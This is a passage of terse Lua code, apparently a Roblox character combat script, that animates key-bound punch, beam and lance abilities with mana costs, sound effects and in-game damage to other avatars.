end) c1(raw,0.14,3,1.3,1,-0.2,30,0,-18) w(0.25) a.b="None" a.c=true Legz(true)
cleanweld(tw,"a0") cleanweld(tw,"a1")
elseif mp >= 50 and k=="f" and a.a=="Champion" and a.b=="None" then
a.b="RapidPunch" a.c=false tw.C1=cf(0,0,0) *ca(0,0,0)
cw(function() c1(law,0.08,3,-1.3,0.5,-0.2,-100,0,0) end)
c1(raw,0.08,3,1.3,0.5,-0.2,-100,0,0)
Trail2(9999,la,0.06,ts(la.BrickColor),0.4,cf(0,-3.5,0))
Trail2(9999,ra,0.06,ts(ra.BrickColor),0.25,cf(0,-3.5,0))
local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=50 local tyms=0 repeat
tyms=tyms + 1 bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z))
if (tyms+15)%30==0 then rayHit(0.4,5,ra,ca(rd(-90),0,0),4,8,12) end if tyms%30==0
then rayHit(0.4,5,la,ca(rd(-90),0,0),4,8,12) end if tyms%6==0 then
Sound(Sounds.Slash,1.2,1) end if tyms%2==0 then
c1(law,1,3,-1.3,0.5,0-(rn(-2,5)/10),-100+rn(-40,40),rn(-10,35),0) end if
(tyms+1)%2==0 then c1(raw,1,3,1.3,0.5,0-(rn(-2,5)/10),-100+rn(-50,50),rn(-35,10),0)
end w() mp=mp - 1.5 until mp < 3 or ky=="f"
bgt:Remove'' rtab(sTrail,la) rtab(sTrail,ra) cw(function() c1(law,0.06,3,-
1.3,1,-0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c=true a.b="None"
elseif mp >= 80 and k=="y" and a.a=="Champion" and a.b=="None" then
a.b="Combo2" a.c=false mp=mp - 80
Sound(Sounds.Slash,1.2,1) Trail2(9999,ra,0.045,ts(ra.BrickColor),0.4,cf(0,-
2.8,0)) cw(function() c1(hw,0.06,0,0,1.5,0,0,-105,0) end) cw(function()
c1(tw,0.06,0,0,0,0,0,105,0) end) c1(raw,0.08,3,1,0.5,0,10,0,-90) local
rhit,aihu=rayHit2(ra,ca(rd(-90),0,0),5) if rhit and aihu and
aihu.Parent:findFirstChild("Torso") then hu.WalkSpeed=0 aihu.PlatformStand=true
local vto=aihu.Parent.Torso Sound(Sounds.Smash,1,1) Dmgz(false,aihu,rn(18,25),vto)
local aibp=it("BodyPosition",vto) aibp.maxForce=v310 aibp.position=vto.Position +
v3(0,2.5,0) c1(raw,0.1,3,1.5,0.3,0,-10,0,-180)
rtab(sTrail,ra) w(0.25) Legz(false) Sound(Sounds.Slash,1.2,1) cw(function()
c1(llw,0.06,3,-0.5,-1,0,0,0,50) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,-80)
end) cw(function() c1(tw,0.06,1,0,0,0,0,0,80) end) cw(function()
c1(tw,0.06,0,0,0,0,0,-140,0) end) cw(function() for i=0,1,0.084 do w() end
aibp.position=(to.CFrame *cf(12,8,-3)).p w() aibp:Remove'' w(1)
aihu.PlatformStand=false end) rayHit(2,5,ll,ca(rd(-90),0,0),6,15,21)
Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-2.8,0)) cw(function()
c1(raw,0.06,3,0.9,0,-0.5,-170,0,-5) end) cw(function() c1(hw,0.06,0,0,1.5,0,0,0,0)
end) c1(law,0.06,3,-0.9,0,-0.5,-170,0,5)
w(0.1) rtab(sTrail,ll) cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end)
cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,0) end)
else rtab(sTrail,ra) w(0.5) end
cw(function() c1(hw,0.1,0,0,1.5,0,0,0,0) end) cw(function()
c1(tw,0.06,1,0,0,0,0,0,0) end) cw(function() c1(tw,0.06,0,0,0,0,0,0,0) end)
hu.WalkSpeed=ns*1.2 Legz(true) cw(function() c1(law,0.06,3,-1.3,1,-
0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) w(0.1) Legz(true) a.c=true
a.b="None"
elseif mp >= maxmp*0.4 and k=="h" and a.a=="Champion" and a.b=="None" then
a.b="Beam" a.c=false hu.WalkSpeed=ns/2 mp=mp -50
cw(function() c1(law,0.06,3,-1.3,0.55,-0.2,-90,5,0) end)
c1(raw,0.06,3,1.3,0.55,-0.2,-90,-5,0)
for i=1,10 do if i%3==0 then Sound(Sounds.Cast,0.5,1) end
GlowMesh(true,"Sphere",to,v3(i/1.2,i/1.2,i/1.2),raigcol,cf(0,1.5,-4.5)) w(0.2) end
Legz(false) cw(function() c1(llw,0.06,3,-0.5,-1,0,-30,0,20) end)
cw(function() c1(rlw,0.06,3,0.5,-1,0,-30,0,-20) end)
local b1=pa(m,"","Ball",8,8,8,false,false,0.1,0,raigcol) b1.Anchored=true
local b2=pa(m,"","Block",8,1,8,false,false,0.1,0,raigcol) b2.Anchored=true
local b2m=it("CylinderMesh",b2)
local b3=pa(m,"","Ball",8,8,8,false,false,0.1,0,raigcol) b3.Anchored=true
local circs={}
for i=1,5 do
local b5=pa(m,"","Block",0,0,0,false,false,0.1,0,raigcol) b5.Anchored=true
local b5m=it("SpecialMesh",b5) b5m.MeshType="FileMesh" b5m.MeshId=asset ..
Decs.Ring
b5m.Scale=v3(10,10,10) ti(circs,b5)
end
local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=1300 local tyms=0 repeat
tyms=tyms + 1 local tcf=t.CFrame*cf(0,-1.5,0) local bhit,bpos=ray(tcf.p,tcf.p -
(tcf *cf(0,0,2)).p)
b1.CFrame=tcf*cf(rn(-10,10)/10,(rn(-10,10)/10)+2,(rn(-10,10)/10)-5) for xx=1,#circs
do circs[xx].CFrame=b1.CFrame*cf(0,0,-2-(xx*4))*ca(0,0,0) end
b3.CFrame=cf(bpos+v3(rn(-10,10)/10,rn(-10,10)/10,rn(-10,10)/10))
b2.CFrame=cf(b1.Position,b3.Position) local bmag=(b1.Position -
b3.Position).magnitude b2.CFrame=b2.CFrame *cf(0,0,-bmag/2)*ca(rd(-90),0,0)
b2m.Scale=v3(1,bmag,1) if tyms%7==0 and bhit then
Explode(b2.CFrame*cf(0,bmag/2,0),15,raigcol2,20) end
bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z)) w() mp=mp -2.5
until mp < 3 or ky=="h"
bgt:Remove'' fade(b1,0.1) fade(b2,0.1) fade(b3,0.1) for i=1,#circs do
fade(circs[i],0.1) end
cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end) cw(function()
c1(rlw,0.06,3,0.5,-1,0,0,0,0) end) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18)
end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c=true a.b="None" hu.WalkSpeed=ns*1.2
Legz(true)
elseif mp >= 80 and k=="n" and a.a=="Champion" and a.b=="None" then
a.b="KillZone" a.c=false mp=mp -80 Legz(false)
Sound(Sounds.Cast,1.4,1) cw(function() c1(law,0.08,3,-1.2,0.5,0,-50,0,-25)
end) cw(function() c1(raw,0.08,3,1.2,0.5,0,-50,0,25) end)
cw(function() c1(llw,0.08,3,-0.5,0.6,-0.7,-20,0,10) end) cw(function()
c1(rlw,0.08,3,0.5,-0.9,0,50,0,-10) end)
c1(tw,0.08,3,0,-1.3,0,30,0,0) w(0.25) cw(function() c1(tw,0.08,3,0,0,0,0,0,0)
end) cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end) cw(function()
c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) SpawnKillZone(to.CFrame*cf(0,-2,-
4.5),rn(10,13)/10,20,raigcol3)
cw(function() c1(law,0.06,3,-1.3,1,-0.2,-160,0,20) end) c1(raw,0.06,3,1.3,1,-
0.2,-160,0,-20)
w(0.5) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18) end)
c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c= true a.b="None" hu.WalkSpeed=ns*1.2
Legz(true)
elseif mp >= 45 and k=="e" and a.a=="Lance" and a.b=="None" then a.b="Slash"
a.c=false mp=mp -45
Sound(Sounds.Slash,0.35,2)
Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0))
rayHit(2,5,ra,cf(0,0,-1.5)*ca(rd(-90),0,0),13,14,20)
cw(function() c1(hw,0.035,3,0,1.5,0,20,80,0) end) cw(function()
c1(tw,0.035,3,0,0,0,0,-80,0) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,-
80,80,0) end)
cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,-50,0,-
85)
w(0.1) rtab(sTrail,Misc["v"].spiketip)
cw(function() c1(hw,0.04,3,0,1.5,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(tw,0.04,3,0,0,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18)
end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif mp >= 80 and k=="t" and a.a=="Lance" and a.b=="None" then a.b="Spin"
a.c=false mp=mp -80
Sound(Sounds.Slash,0.35,2)
Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0))
cw(function() c1(Misc["v"].han.Weld,0.03,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.03,0,0,-2.25,0,0,0,55) end) cw(function() c1(law,0.035,3,-
1,0.5,-0.5,-86,15,0) end) c1(raw,0.06,3,1,0.5,0,0,0,-120) c1(raw,0.06,3,1,0.5,0,-
86,-15,0) w(0.15)
cw(function() for i=1,3 do rayHit(1,5,Misc["v"].han2,ca(rd(-90),0,0),6,14,20)
w(4/3) end end) c1(tw,0.015,3,0,0,0,0,-360*3,0) cleanweld(tw,"a1")
w(0.1) rtab(sTrail,Misc["v"].spiketip)
cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end)
cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150)
a.c=true a.b="None"
elseif mp >= 10 and k=="r" and a.a=="Lance" and a.b=="None" then a.b="Block"
a.c=false mp=mp -10
Sound(Sounds.Slash,1.4,1) Block.Value=true c1(law,0.05,3,-1.1,0.5,-0.9,-
90,85,0)
hu.WalkSpeed=ns*0.3 Sound(Sounds.Block,1,1) local
b1=pa(m,"","Wedge",0,0,0,false,false,0,Misc["v"].shield.Reflectance,ts(Misc["v"].sh
ield.BrickColor)) local b1m=it("SpecialMesh",b1) b1m.MeshType="Wedge"
b1m.Scale=v3(0.2,3,2.5) b1:BreakJoints()
b1w=weld(b1,Misc["v"].shield,b1,0,0,0,0,0,rd(90))
local
b2=pa(m,"","Wedge",0,0,0,false,false,0,Misc["v"].shield.Reflectance,ts(Misc["v"].sh
ield.BrickColor)) local b2m=it("SpecialMesh",b2) b2m.MeshType="Wedge"
b2m.Scale=v3(0.2,3,2.5) b2:BreakJoints()
b2w=weld(b2,Misc["v"].shield,b2,0,0,0,rd(180),0,rd(-90))
b1m.Scale=b1m.Scale*5 b2m.Scale=b2m.Scale*5 Sound(Sounds.Unsheath,1.5,1) for
i=0,1,0.1 do b1w.C0=cf(-3*i,0,0)*ca(0,0,rd(90))
b2w.C0=cf(3*i,0,0)*ca(rd(0),rd(180),rd(90)) w() end
repeat w() mp=mp - 0.5 until mp < 1 or ky=="r"
Sound(Sounds.Unsheath,1.5,1) for i=1,0,-0.1 do b1w.C0=cf(-
3*i,0,0)*ca(0,0,rd(90)) b2w.C0=cf(3*i,0,0)*ca(rd(0),rd(180),rd(90)) w() end
b1:Remove'' b2:Remove'' hu.WalkSpeed=ns*0.75
Block.Value=false c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) a.c=true a.b="None"
elseif mp >= 25 and k=="f" and a.a=="Lance" and a.b=="None" then a.b="Rapid"
a.c=false mp=mp -25 hu.WalkSpeed=ns*0.5
Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function()
c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end)
cw(function() c1(law,0.035,3,-1,0.5,-0.5,-80,80,0) end)
cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,0,0,-90)
local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=50 local fenci=-0.5
local tyms=0 repeat tyms=tyms + 1 if tyms%5 == 0 then Sound(Sounds.Slash,1.1,1) end
if tyms%2 == 0 then if fenci == -0.5 then fenci=1.8 else fenci=-0.5 end
c1(raw,1,3,1+fenci,0.5,0,rn(-6,6),0,-90+rn(-11,11)) end if tyms%8==0 then
rayHit(0.5,1,ra,ca(rd(-90),0,0),13,5,8) end
bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z)) mp=mp -2 w()
until mp < 2 or ky=="f"
bgt:Remove'' w(0.1) rtab(sTrail,Misc["v"].spiketip)
hu.WalkSpeed=ns*0.75 cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end)
cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif k=="c" and a.a=="Lance" and a.b=="None" then a.b="Sit" a.c=false
Legz(false) cw(function() c1(tw,0.05,3,0,-1.5,0,-10,0,0) end) cw(function()
c1(llw,0.1,3,-0.5,-1,0,-80,-28,0) end) c1(rlw,0.1,3,0.5,-1,0,-80,28,0)
hu.WalkSpeed=0 cw(function() while a.b == "Sit" do addmp(2) w() end end) a.c=true
elseif k=="c" and a.a=="Lance" and a.b=="Sit" and a.c then
cw(function() c1(tw,0.1,3,0,0,0,0,0,0) end) cw(function() c1(llw,0.1,3,-0.5,-
1,0,0,0,0) end) c1(rlw,0.1,3,0.5,-1,0,0,0,0) Legz(true) hu.WalkSpeed=ns*0.75
a.b="None"
elseif mp > 50 and k=="q" and a.a=="Lance" and a.b=="None" then
a.b="GroundSmash" a.c=false Legz(false) mp=mp-50 cw(function()
c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,0,0,10) end)
Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function()
c1(law,0.07,3,-1,1,0.3,60,0,200) end) cw(function() c1(raw,0.07,3,1,1,0.3,60,0,-
200) end)
cw(function() c1(llw,0.07,3,-0.5,0,-0.6,10,0,0) end) cw(function()
c1(rlw,0.07,3,0.5,-0.8,0,80,0,0) end)
c1(tw,0.05,3,0,-1.2,-0.6,-10,0,0)
w(0.1) GlowMesh(false,asset .. Decs.Crown,to,v3(12,5,12),raigcol2,cf(0,-2,0))
rayHit(2.5,5,Misc["v"].han2,ca(rd(-90),0,0),7,25,30)
hu.WalkSpeed=ns*0.4 local bf=it("BodyForce",t) bf.force=v3(0,9000,0)
game:service'Debris':AddItem(bf,0.3)
hu.WalkSpeed=ns*2 cw(function() c1(rlw,0.07,3,0.5,0,-0.6,10,0,0) end)
cw(function() c1(llw,0.07,3,-0.5,-0.8,0,80,0,0) end) c1(tw,0.045,3,0,-1.2,-
0.6,360,0,0) cleanweld(tw,"a1")
cw(function() c1(law,0.1,3,-1,1,0.3,-100,0,200) end) c1(raw,0.1,3,1,1,0.3,-
100,0,-200)
hu.WalkSpeed=ns*0.75 GlowMesh(false,asset ..
Decs.Crown,to,v3(8,5,10),raigcol2,cf(0,-2,-11)) Sound(Sounds.Smash,0.7,1)
SplashDmg(false,Misc["v"].spiketip.Position,25,10,65) w(0.25)
rtab(sTrail,Misc["v"].spiketip)
cw(function()c1(tw,0.05,3,0,0,0,0,0,0)end) cw(function() c1(llw,0.05,3,-0.5,-
1,0,0,0,0) end) cw(function() c1(rlw,0.05,3,0.5,-1,0,0,0,0) end) cw(function()
c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) Legz(true) a.b="None"
a.c=true
elseif mp > 210 and k=="n" and a.a=="Lance" and a.b=="None" then
a.b="LanceThrow" a.c=false mp=mp-20 cw(function()
c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,0,0,55) end)
Sound(Sounds.Slash,0.35,2) cw(function()
c1(Misc["v"].han.Weld,0.03,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.03,0,0,-2.25,0,0,0,55) end) cw(function() c1(law,0.035,3,-
1,0.5,-0.5,-86,15,0) end) c1(raw,0.06,3,1,0.5,0,0,0,-120) c1(raw,0.06,3,1,0.5,0,-
86,-15,0)
Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0))
c1(tw,0.08,1,0,0,0,0,-360,0) cleanweld(tw,"a1") rtab(sTrail,Misc["v"].spiketip)
a.s.Lance(false) ThrowLance(Misc["v"])
cw(function() c1(law,0.05,3,-1.3,1,-0.2,30,0,18) end)
c1(raw,0.04,3,0.7,0.8,0,-30,0,20) Misc["v"]=it("Model",m) mp=mp-180
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.5,1,-
0.2,-40,0,12)
local han=pa(Misc[k],"han","Block",0.75,1.75,0.75,false,false,0,0,"Dark stone
grey") it("CylinderMesh",han) local hanw=weld(han,ra,han,0,-2.25,0,rd(90),0,0)
hanw.C1=cf(0,0.8,0)
CreateLance() a.s.Lance(true) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif mp > 100 and k=="x" and a.a=="Lance" and a.b=="None" then
a.s.Lance(false) a.b="Kick" a.c=false mp=mp-100 cw(function()
c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,90,0,30) end)
cw(function() c1(law,0.07,3,-1,1,0.3,60,0,200) end)
c1(raw,0.07,3,1,1,0.3,60,0,-200) w(0.3) cw(function() c1(law,0.07,3,-1,0.5,-0.4,-
90,0,200) end) cw(function() c1(raw,0.07,3,1,0.5,-0.4,-90,0,-200) end)
c1(tw,0.07,0,0,2,0,0,0,0) w(0.2)
cw(function() c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,90,0,-90) end)
hu.WalkSpeed=0 cw(function() c1(tw,0.07,1,0,3,0,0,0,0) end) cw(function()
c1(tw,0.07,0,0,2,0,0,0,-90) end) cw(function() c1(law,0.07,3,-1,1,0,0,0,205) end)
c1(raw,0.07,3,1,1,0,0,0,-180)
rayHit(3,3,rl,cf(0.7,0,0)*ca(rd(-90),0,0),6,12,18)
Trail2(9999,rl,0.04,"",0.4,cf(0,-2.25,0)) c1(tw,0.02,1,0,3,0,-360*2,0,0)
cleanweld(tw,"a1") w(0.2) rtab(sTrail,rl)
w(0.25) c1(tw,0.08,0,0,10,0,0,0,-90) cw(function() c1(tw,0.1,1,0,0,0,0,0,0)
end) cw(function() c1(tw,0.05,0,0,0,0,0,0,0) end) hu.WalkSpeed=ns*0.75
a.s.Lance(true) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end)
cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150)
a.c=true a.b="None"
elseif mp >= 70 and k=="y" and a.a=="Lance" and a.b=="None" then a.b="Combo2"
a.c=false mp=mp -70
Sound(Sounds.Slash,1.4,2) Trail2(9999,la,0.04,ts(la.BrickColor),0.5,cf(0,-
2.25,0)) cw(function() c1(hw,0.08,3,0,1.5,0,-20,-90,0) end) cw(function()
c1(tw,0.08,3,0,0,0,0,90,0) end) c1(law,0.08,3,-1,0.5,0,0,0,90)
local rhit,aihu=rayHit2(la,ca(rd(-90),0,0),6) if rhit and aihu and
aihu.Parent:findFirstChild("Torso") then hu.WalkSpeed=0 aihu.PlatformStand=true
local vto=aihu.Parent.Torso Sound(Sounds.Smash,1,1) Dmgz(false,aihu,rn(18,25),vto)
local aibp=it("BodyPosition",vto) aibp.maxForce=v310 aibp.position=vto.Position +
v3(0,7,0) + ((to.CFrame*cf(0,0,-4)).p - to.Position)
rtab(sTrail,la) c1(law,0.065,3,-0.7,0,0,-160,0,40)
cw(function() c1(Misc["v"].han.Weld,0.2,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.2,0,0,-2.25,0,0,0,0) end)
cw(function() c1(hw,0.08,3,0,1.5,0,-40,80,0) end) cw(function()
c1(tw,0.08,3,0,0,0,0,-80,0) end) cw(function() c1(raw,0.08,3,1,0.5,0,20,45,-100)
c1(raw,0.08,3,1,0.5,-0.5,-150,45,-100) end)
Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0))
Sound(Sounds.Slash,0.35,2) rayHit(2,5,ra,cf(0,0,-1.5)*ca(rd(-90),0,0),13,24,28)
w(0.1)
cw(function() w(0.5) aibp:Remove'' w()
vto.Velocity=(cf(to.Position,vto.Position)*ca(0,rd(15),0)).lookVector*60 w(0.5)
aihu.PlatformStand=false end) c1(law,0.04,3,-1,0.5,-0.5,-120,-60,0) w(0.1)
rtab(sTrail,Misc["v"].spiketip)
else w(0.8) rtab(sTrail,la) end
hu.WalkSpeed=ns*0.75 cw(function() c1(hw,0.04,3,0,1.5,0,0,0,0) end)
cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(tw,0.04,3,0,0,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18)
end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif mp >= 90 and k=="g" and a.a=="Lance" and a.b=="None" then a.b="Gun"
a.c=false mp=mp -90
a.s.Lance(false) Misc["v"].han2.Weld.C0=cf(0,-1.25,0)
Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function()
c1(tw,0.05,3,0,0,0,0,-60,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,60,0) end)
cw(function() c1(law,0.035,3,-1,0.5,-0.5,0,0,75) end)
cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,-30,0,-
95)
rtab(sTrail,Misc["v"].spiketip) w(0.2) for i=0,1,0.1 do
Misc["v"].spiketip.Weld.C0=cf(-0.8*i,3.2*i,0) Misc["v"].spiketip.Weld.C1=cf(0,-
4+(4*i),0)*ca(0,0,rd(-135*i)) w() end w(0.1) for i=1,3 do
GlowMesh(true,"Sphere",Misc["v"].spike,v3(9,9,9),raigcol2,cf(rn(-15,15)/10,6+rn(-
10,10)/10,rn(-15,15)/10)) end rt=pa(m,"","Block",0,0,0,false,false,1,0,"")
rtw=weld(rt,Misc["v"].spike,rt,0,5.5,0,0,0,0)
ShootLanceBullet(rt,1,35) local smok=it("Smoke",rt) smok.RiseVelocity=15
smok.Size=9 smok.Opacity=0.7 smok.Color=bc("Really black").Color cw(function()
c1(hw,0.2,3,0,1.5,0,-20,90,0) end) c1(raw,0.2,3,1,0.5,0,-30,0,-120)
c1(raw,0.35,3,1,0.5,0,-30,0,-103)
w(0.8) smok.Enabled=false w(0.2) for i=1,0,-0.1 do
Misc["v"].spiketip.Weld.C0=cf(-0.8*i,3.2*i,0) Misc["v"].spiketip.Weld.C1=cf(0,-
4+(4*i),0)*ca(0,0,rd(-135*i)) w() end game:service'Debris':AddItem(rt,2)
a.s.Lance(true) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function()
c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif mp >= 100 and k=="z" and a.a=="Lance" and a.b=="None" then
a.b="SummonLance" a.c=false mp=mp -100
cw(function() c1(tw,0.07,3,0,0,0,0,65,0) end) cw(function()
c1(hw,0.07,3,0,1.5,0,-15,-65,0) end) c1(law,0.07,3,-1,1,-0.5,-70,-65,0) w(0.2)
cw(function() Sound(Sounds.Ghost,0.9,2) for i=1,5 do SummonProjectile(to,cf(0,-
2.5,-2.5+(-i*6)),1+(i/8),asset .. Decs.Spike,15,"Really black",v3(0.8,7.5,0.8))
w(0.1) end end) cw(function() c1(hw,0.07,3,0,1.5,0,-50,-65,0) end) c1(law,0.07,3,-
1,1,-0.5,-160,-65,0) w(1)
Sound(Sounds.Imbue,1.5,2) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end)
cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
elseif mp >= 300 and k=="b" and a.a=="Lance" and a.b=="None" then
a.b="LanceBarrage" a.c=false mp=mp -300
GlowMesh(false,asset .. Decs.Crown,to,v3(12,5,12),raigcol2,cf(0,-2,0))
Legz(false) cw(function() c1(llw,0.05,3,-0.5,-1,0,-50,0,0) end) cw(function()
c1(rlw,0.05,3,0.5,-1,0,-50,0,0) end) cw(function() c1(tw,0.05,3,0,10,0,0,-90,-50)
end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end)
c1(raw,0.05,3,1,0,-0.7,-140,0,-150) Misc["v"].han.Weld.Part0 = ll
Misc["v"].han.Weld.C0 = cf(0.5,-1,0)*ca(0,0,rd(10)) cw(function() c1(llw,0.07,3,-
0.5,-1,0,0,0,10) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,-10) end)
cw(function() c1(tw,0.07,3,0,11,0,1,-90,0) end)
hu.WalkSpeed = ns*2 cw(function() c1(law,0.07,3,-1,0.6,0,0,0,110) end)
c1(raw,0.07,3,1,0.5,0,0,0,-70) local spining = true
local rt = pa(m,"","Block",0,0,0,false,false,0,1,"") local rtw =
weld(rt,t,rt,0,0.5,0,0,0,rd(-20)) rtw.C1 = ca(0,rd(90),0)
local mzs = it("Model",m) local chim = 0 for i=0,360,30 do chim = chim+1
local shs = pa(mzs,"han" ..chim,"Block",0,0,0,false,false,0.2,0,"White")
it("CylinderMesh",shs).Scale = v3(1,2,1)*5
local sh2 = pa(shs,"spi","Block",0,0,0,false,false,0.2,0,"White") local sh2m
= it("SpecialMesh",sh2) sh2m.MeshType = "FileMesh" sh2m.MeshId = asset ..
Decs.Spike sh2m.Scale = v3(1.2,10,1.2)
local shs3 = weld(shs,rt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,-
11,0)*ca(rd(-90),0,0) local shs4 = weld(sh2,shs,sh2,0,4.6,0,0,0,0)
end cw(function() local ty = 0 repeat ty = ty + 1 if ty%5 == 0 then
GlowMesh(true,asset ..
Decs.Crown,Misc["v"].spiketip,v3(6,1.25,6),raigcol2,cf(0,0,0)*ca(rd(180),rd(ty*3),0
)) end rtw.C0 = rtw.C0 *ca(0,rd(10),0) w() until not spining end)
for si=1,24 do local xi = si if xi > 12 then xi = xi - 12 end
mzs["han" ..xi].spi.Transparency = 1 cw(function() w(0.08) for ii=1,0.2,-0.05 do
mzs["han" ..xi].spi.Transparency = ii w() end end)
